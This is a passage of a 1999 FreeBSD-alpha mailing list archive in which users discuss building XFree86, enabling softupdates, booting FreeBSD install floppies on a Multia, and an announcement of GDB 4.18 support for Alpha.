(ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 962B52DAAA; Sat, 1 May 1999 11:08:42 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id LAA20751; Sat, 1 May 1999 11:08:41 +0900 (JST) Date: Sat, 01 May 1999 11:08:40 +0900 Message-ID: <14122.25128.121311.59864O@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: sprice@hiwaay.net Cc: wwoods@cybcon.com, freebsd-alpha@FreeBSD.ORG Subject: RE: Compiling XFree on an alpha.. In-Reply-To: In your message of "Fri, 30 Apr 1999 19:47:52 -0500 (CDT)" References: <000001be936a$0895e410$1b4c93cd@william> User-Agent: Wanderlust/0.9.8 (Faith) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > On Fri, 30 Apr 1999, William Woods wrote: > > # You realise this really sucks....... > # > # I would really probably be pushing things to ask if there were precompiled > # packages avaliable for this eh...... > > There are already packages for the tcl/tk ports. The XFree86 > port is marked NO_PACKAGE so that doesn't exist, though I do > have one built that I use for doing package builds but it only > has the TGA server. > > -steve I have some Xtt(X True Type) servers compiled on alpha. You can get them from http://www.sat.t.u-tokyo.ac.jp/~simokawa/alpha/packages/x11/ I appreciate it if someone would test them, because my machine doesn't have any video card any more. You may be interested in error logs on alpha. http://www.sat.t.u-tokyo.ac.jp/~simokawa/alpha/logs/ /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 21:49:48 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 9BBEF15950 for ; Fri, 30 Apr 1999 21:49:45 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-7.cybcon.com [205.147.75.8]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id VAA29791; Fri, 30 Apr 1999 21:49:39 -0700 (PDT) From: "William Woods" To: "Terry Lambert" , "Doug Rabson" Cc: Subject: RE: silo overflows...... Date: Fri, 30 Apr 1999 21:49:21 -0700 Message-ID: <000001be938d$fac29300$084b93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <199904272042.NAA06795@usr04.primenet.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Someone out there wouldent happen to have a copy of these patches would they. I have searched the mailing list and can't seem to locate em. William > Somone posted patches to this list a while back that enabled the > "fast interrupt" stuff for the alpha. It got broken when the > bus space stuff went into -current. I think it hasn't been unbroken. > > In my experience, the patches worked fine. > > > Terry Lambert > terry@lambert.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 9:42:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 7B256151BB for ; Sat, 1 May 1999 09:42:28 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-18.cybcon.com [205.147.75.19]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id JAA22798 for ; Sat, 1 May 1999 09:42:27 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: Softupdates on Alpha ?? Date: Sat, 1 May 1999 09:42:10 -0700 Message-ID: <000001be93f1$8eb52470$134b93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok....anybody here running softupdates on there Alpha? Idf so, what are your experiances? William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 11:51:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from burka.rdy.com (burka.rdy.com [205.149.163.30]) by hub.freebsd.org (Postfix) with ESMTP id A367114CC3 for ; Sat, 1 May 1999 11:51:33 -0700 (PDT) (envelope-from dima@burka.rdy.com) Received: (from dima@localhost) by burka.rdy.com (8.9.2/RDY&DVV) id LAA30162; Sat, 1 May 1999 11:51:30 -0700 (PDT) Message-Id: <199905011851.LAA30162@burka.rdy.com> Subject: Re: Softupdates on Alpha ?? In-Reply-To: <000001be93f1$8eb52470$134b93cd@william> from William Woods at "May 1, 1999 09:42:10 am" To: wwoods@cybcon.com (William Woods) Date: Sat, 1 May 1999 11:51:30 -0700 (PDT) Cc: freebsd-alpha@freebsd.org (FreeBSD Alpha) X-Class: Fast Organization: HackerDome Reply-To: dima@best.net From: dima@best.net (Dima Ruban) X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org William Woods writes: [Charset iso-8859-1 unsupported, filtering to ASCII...] > Ok....anybody here running softupdates on there Alpha? Idf so, what are your > experiances? Works okay for me. > > William > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > -- dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 13:58:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 4DDB515234 for ; Sat, 1 May 1999 13:58:14 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id VAA66245; Sat, 1 May 1999 21:57:50 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sat, 1 May 1999 21:57:50 +0100 (BST) From: Doug Rabson To: Dima Ruban Cc: William Woods , FreeBSD Alpha Subject: Re: Softupdates on Alpha ?? In-Reply-To: <199905011851.LAA30162@burka.rdy.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 1 May 1999, Dima Ruban wrote: > William Woods writes: > [Charset iso-8859-1 unsupported, filtering to ASCII...] > > Ok....anybody here running softupdates on there Alpha? Idf so, what are your > > experiances? > > Works okay for me. I've been running softupdates continuously on FreeBSD/alpha for a long time (June last year? sometime shortly after I got the thing working on real hardware). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 15:15: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from toetag.com (toetag.com [206.169.92.2]) by hub.freebsd.org (Postfix) with ESMTP id AAFB814BDE for ; Sat, 1 May 1999 15:15:06 -0700 (PDT) (envelope-from tom@toetag.com) Received: from toetag.com (tom@localhost.toetag.com [127.0.0.1]) by toetag.com (8.9.3/8.9.0) with ESMTP id PAA08611; Sat, 1 May 1999 15:14:56 -0700 (PDT) Message-Id: <199905012214.PAA08611@toetag.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "William Woods" Cc: "FreeBSD Alpha" Subject: Re: Softupdates on Alpha ?? In-reply-to: Your message of "Sat, 01 May 1999 09:42:10 PDT." <000001be93f1$8eb52470$134b93cd@william> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 01 May 1999 15:14:56 -0700 From: "Tom" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 01 May 1999 09:42:10 PDT, "William Woods" writes: >Ok....anybody here running softupdates on there Alpha? Idf so, what are your >experiances? > I've been running with soft-updates on: /dev/da0a on / (local, soft-updates, writes: sync 5 async 14609) mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546) /dev/da0e on /usr (local, soft-updates, writes: sync 23 async 40410) /dev/da0f on /var (local, soft-updates, writes: sync 254 async 27311) for months now, add to the question.... is there any reason why I shouldn't be running with soft-updates enabled on / ? -- tom@unhooked.net ICQ - 16163541 Get UnHOOKeD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 20:18:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from rgate.ricochet.net (rgate1.ricochet.net [204.179.143.6]) by hub.freebsd.org (Postfix) with ESMTP id 4DDEB15182 for ; Sat, 1 May 1999 20:18:19 -0700 (PDT) (envelope-from boshea@ricochet.net) Received: from beastie.localdomain (mg135-078.ricochet.net [204.179.135.78]) by rgate.ricochet.net (8.9.3/8.9.3) with ESMTP id WAA15486; Sat, 1 May 1999 22:18:14 -0500 (CDT) Received: (from brian@localhost) by beastie.localdomain (8.8.8/8.8.7) id UAA21813; Sat, 1 May 1999 20:28:27 -0700 (PDT) (envelope-from brian) Message-ID: <19990501202827.U2844@localdomain> Date: Sat, 1 May 1999 20:28:27 -0700 From: "Brian O'Shea" To: Tom Cc: FreeBSD Alpha Subject: Re: Softupdates on Alpha ?? References: <000001be93f1$8eb52470$134b93cd@william> <199905012214.PAA08611@toetag.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.1i In-Reply-To: <199905012214.PAA08611@toetag.com>; from Tom on Sat, May 01, 1999 at 03:14:56PM -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, May 01, 1999 at 03:14:56PM -0700, Tom wrote: > > I've been running with soft-updates on: > /dev/da0a on / (local, soft-updates, writes: sync 5 async 14609) > mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546) > /dev/da0e on /usr (local, soft-updates, writes: sync 23 async 40410) > /dev/da0f on /var (local, soft-updates, writes: sync 254 async 27311) > > for months now, add to the question.... is there any reason why > I shouldn't be running with soft-updates enabled on / ? > Not to mention on /tmp (the way you have it set up). Do softupdates provide any performance benefit on MFS filesystems? -- Brian O'Shea boshea@ricochet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 20:41:22 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from toetag.com (toetag.com [206.169.92.2]) by hub.freebsd.org (Postfix) with ESMTP id 6CB2314DE1 for ; Sat, 1 May 1999 20:41:20 -0700 (PDT) (envelope-from tom@toetag.com) Received: from toetag.com (tom@localhost.toetag.com [127.0.0.1]) by toetag.com (8.9.3/8.9.0) with ESMTP id UAA09149; Sat, 1 May 1999 20:41:18 -0700 (PDT) Message-Id: <199905020341.UAA09149@toetag.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "Brian O'Shea" Cc: FreeBSD Alpha Subject: Re: Softupdates on Alpha ?? In-reply-to: Your message of "Sat, 01 May 1999 20:28:27 PDT." <19990501202827.U2844@localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 01 May 1999 20:41:17 -0700 From: "Tom" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, 01 May 1999 20:28:27 PDT, "Brian O'Shea" writes: >Not to mention on /tmp (the way you have it set up). >Do softupdates provide any performance benefit on MFS filesystems? > mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546) Hmm, I don't think I set tmp to do soft-updates, I think it mounts async by default. I just mount tmp on my swap partition since it's uh, temp :-) But who knows, I could have done it inadvertently when I brute-forced tunefs in /etc/rc. Can you actually do softupdates on the swap partition? -- tom@unhooked.net ICQ - 16163541 Get UnHOOKeD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 20:57:12 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from rgate2.ricochet.net (rgate2.ricochet.net [204.179.143.3]) by hub.freebsd.org (Postfix) with ESMTP id B49AA14EF6 for ; Sat, 1 May 1999 20:57:10 -0700 (PDT) (envelope-from boshea@ricochet.net) Received: from beastie.localdomain (mg135-078.ricochet.net [204.179.135.78]) by rgate2.ricochet.net (8.9.3/8.9.3) with ESMTP id WAA11251; Sat, 1 May 1999 22:57:06 -0500 (CDT) Received: (from brian@localhost) by beastie.localdomain (8.8.8/8.8.7) id VAA21873; Sat, 1 May 1999 21:07:18 -0700 (PDT) (envelope-from brian) Message-ID: <19990501210718.V2844@localdomain> Date: Sat, 1 May 1999 21:07:18 -0700 From: "Brian O'Shea" To: Tom Cc: FreeBSD Alpha Subject: Re: Softupdates on Alpha ?? References: <19990501202827.U2844@localdomain> <199905020341.UAA09149@toetag.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.1i In-Reply-To: <199905020341.UAA09149@toetag.com>; from Tom on Sat, May 01, 1999 at 08:41:17PM -0700 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, May 01, 1999 at 08:41:17PM -0700, Tom wrote: > > mfs:29 on /tmp (asynchronous, local, writes: sync 14 async 546) > > Hmm, I don't think I set tmp to do soft-updates, I think it mounts async by default. > I just mount tmp on my swap partition since it's uh, temp :-) > Oops, right you are. My mistake. -brian -- Brian O'Shea boshea@ricochet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat May 1 23:15:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 133C015330 for ; Sat, 1 May 1999 23:15:56 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-19.cybcon.com [205.147.75.20]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id XAA24761; Sat, 1 May 1999 23:15:52 -0700 (PDT) From: "William Woods" To: "Doug Rabson" Cc: "FreeBSD Alpha" Subject: RE: Compiling XFree on an alpha.. Date: Sat, 1 May 1999 23:15:35 -0700 Message-ID: <000001be9463$311e1200$144b93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hmmm...I havent been able to find XF86Setup anywhere I had a friend running FreebSD on Linux, and thinking it was a script, I borrowed his and useing pico to look at it it is a binary..... So, I assume a couple things here: VGA server does not work on Alpha yet XF86Setup uses VGA server, therefore, is not avaliable on Alpha yet. BTW, I got your config file...I just need to determine what to tweak to make it work for me. William > -----Original Message----- > From: Doug Rabson [mailto:dfr@nlsystems.com] > Sent: Saturday, May 01, 1999 12:01 AM > To: Bill Woods > Subject: RE: Compiling XFree on an alpha.. > > > On Fri, 30 Apr 1999, Bill Woods wrote: > > > Ahhh...... I see.....Setup ??.you dont happen to have that I > can "borrow" > > do ya? > > and maby a bin of XF86Setup? > > > > William > > I've attached a config file for XFree86 on a Matrox Millenium II (which > uses the XF86_SVGA server). You can pick up XF86Setup (which is a tcl > script) from any XFree86 mirror. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 5:24:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id D20E114C22 for ; Sun, 2 May 1999 05:24:51 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id OAA01728 for freebsd-alpha@FreeBSD.ORG; Sun, 2 May 1999 14:24:50 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id MAA19143 for ; Sun, 2 May 1999 12:38:41 +0200 Message-Id: <199905021038.MAA19143@karhu.hirvi.net> Date: Sun, 2 May 1999 14:21:07 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, I am just trying to install Free BSD 3.1 on a Multia which runs NT at the moment. As recommended I downloaded the kern.flp and the the mfsroot.flp floppy images to my Linux box and did a dd if=image of=/dev/fd0 the system reports that 2880 records are written to the disk. I also tried the dd with of=/dev/rfd0 on my FreeBSD 3.1 Intel box. I upgraded the firmware to 3.8 and started up with the srm ( Digital Unix ) console. When I insert my kern floppy and do I boot dva0 which is my floppy drive, it complains about a bootstrap error. The error says: (boot dva0.0.0.0.1 -flags 0) block 0 of dva0.0.0.0.1 is not a valid boot block bootstrap failure Any hints? -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 5:39: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 7530E14FCE for ; Sun, 2 May 1999 05:39:04 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id NAA32223; Sun, 2 May 1999 13:39:05 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 13:39:04 +0100 (BST) From: Doug Rabson To: Kai Schmidt Cc: freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <199905021038.MAA19143@karhu.hirvi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 May 1999, Kai Schmidt wrote: > Hello, > > I am just trying to install Free BSD 3.1 on a Multia which runs NT at the > moment. As recommended I downloaded the kern.flp and the the mfsroot.flp > floppy images to my Linux box and did a dd if=image of=/dev/fd0 the system > reports that 2880 records are written to the disk. > > I also tried the dd with of=/dev/rfd0 on my FreeBSD 3.1 Intel box. > > I upgraded the firmware to 3.8 and started up with the srm ( Digital Unix ) > console. > > When I insert my kern floppy and do I boot dva0 which is my floppy drive, it > complains about a bootstrap error. > > The error says: > (boot dva0.0.0.0.1 -flags 0) > block 0 of dva0.0.0.0.1 is not a valid boot block > bootstrap failure > > Any hints? Exactly where did you download these boot floppies from? -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 6:33:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 280A414BEC for ; Sun, 2 May 1999 06:33:47 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id PAA02517 for freebsd-alpha@FreeBSD.ORG; Sun, 2 May 1999 15:33:46 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id NAA19718 for ; Sun, 2 May 1999 13:51:27 +0200 Message-Id: <199905021151.NAA19718@karhu.hirvi.net> Date: Sun, 2 May 1999 15:33:41 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02.05.99, 13:39:04 Doug Rabson wrote: Hi Doug, >> When I insert my kern floppy and do I boot dva0 which is my floppy drive, >> it >> complains about a bootstrap error. >> The error says: >> (boot dva0.0.0.0.1 -flags 0) >> block 0 of dva0.0.0.0.1 is not a valid boot block >> bootstrap failure >> Any hints? > Exactly where did you download these boot floppies from? Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or from ftp.de.freebsd.org and there from the stable branch. I read that the floppies on the CD are broken. -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 6:57:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 787F414C59 for ; Sun, 2 May 1999 06:57:09 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id OAA06707; Sun, 2 May 1999 14:57:17 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 14:57:17 +0100 (BST) From: Doug Rabson To: Kai Schmidt Cc: freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <199905021151.NAA19718@karhu.hirvi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 May 1999, Kai Schmidt wrote: > On 02.05.99, 13:39:04 Doug Rabson wrote: > > Hi Doug, > > >> When I insert my kern floppy and do I boot dva0 which is my floppy drive, > >> it > >> complains about a bootstrap error. > >> The error says: > >> (boot dva0.0.0.0.1 -flags 0) > >> block 0 of dva0.0.0.0.1 is not a valid boot block > >> bootstrap failure > >> Any hints? > > Exactly where did you download these boot floppies from? > > Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or > from ftp.de.freebsd.org and there from the stable branch. > > I read that the floppies on the CD are broken. That is true. I need to know which directory on the ftp site you downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT should work fairly well. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 7: 3:20 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 177CF15327 for ; Sun, 2 May 1999 07:03:17 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id QAA02774 for freebsd-alpha@FreeBSD.ORG; Sun, 2 May 1999 16:03:17 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id OAA20080 for ; Sun, 2 May 1999 14:21:12 +0200 Message-Id: <199905021221.OAA20080@karhu.hirvi.net> Date: Sun, 2 May 1999 16:03:26 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: Re: Installing FreeBSD 3.1 on a Multia box X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 02.05.99, 14:57:17 Doug Rabson wrote: Hi Doug, >> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or >> from ftp.de.freebsd.org and there from the stable branch. >> >> I read that the floppies on the CD are broken. > That is true. I need to know which directory on the ftp site you > downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT > should work fairly well. I took, the 3.1 disks, ok, I will try the 4.0 and does it install also version 3.1 or do I have to take the 4.0 branch? -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 7:20:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 41F1A1559A for ; Sun, 2 May 1999 07:20:10 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id PAA17320; Sun, 2 May 1999 15:20:17 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 15:20:17 +0100 (BST) From: Doug Rabson To: Kai Schmidt Cc: freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <199905021221.OAA20080@karhu.hirvi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 2 May 1999, Kai Schmidt wrote: > On 02.05.99, 14:57:17 Doug Rabson wrote: > > Hi Doug, > > >> Hmmh, I can't remember exactly but it was either from ftp.freebsd.org or > >> from ftp.de.freebsd.org and there from the stable branch. > >> > >> I read that the floppies on the CD are broken. > > That is true. I need to know which directory on the ftp site you > > downloaded them from. The ones from snapshots/alpha/4.0-19990413-CURRENT > > should work fairly well. > > I took, the 3.1 disks, ok, I will try the 4.0 and does it install also > version 3.1 or do I have to take the 4.0 branch? You should be able to install the 3.1 CD with 4.0 floppies. Go to the options screen and change the release to '3.1-RELEASE'. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 8:46:40 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2338514DAC for ; Sun, 2 May 1999 08:46:37 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id QAA50255 for ; Sun, 2 May 1999 16:46:40 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 2 May 1999 16:46:39 +0100 (BST) From: Doug Rabson To: alpha@freebsd.org Subject: GDB for alpha (nearly) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I have just finished importing GDB-4.18 into FreeBSD-current. At the same time, I made the thing work properly in FreeBSD/alpha. Unfortunately due to a technical hitch with CVS which I'm hoping can be cleared up by someone who understands CVS better than me, the alpha version is missing exactly one file, alpha-tdep.c. People who would like to try gdb on the alpha today should copy http://www.freebsd.org/~dfr/alpha-tdep.c to src/contrib/gdb/gdb and tweak the Makefile in src/gnu/usr.bin/binutils to enable the build. I have not tested any kind of postmortem debugging yet (user or kernel). Normal user coredumps may work but kernel coredumps will certainly not work. I'm hoping that Andrew Gallatin who made kernel coredumps work on the alpha might tackle this but if not, I will have a go at it eventually. Have fun with it, break it and send me the fixes :-) Hopefully it should be part of the main build very soon. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun May 2 8:59: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from 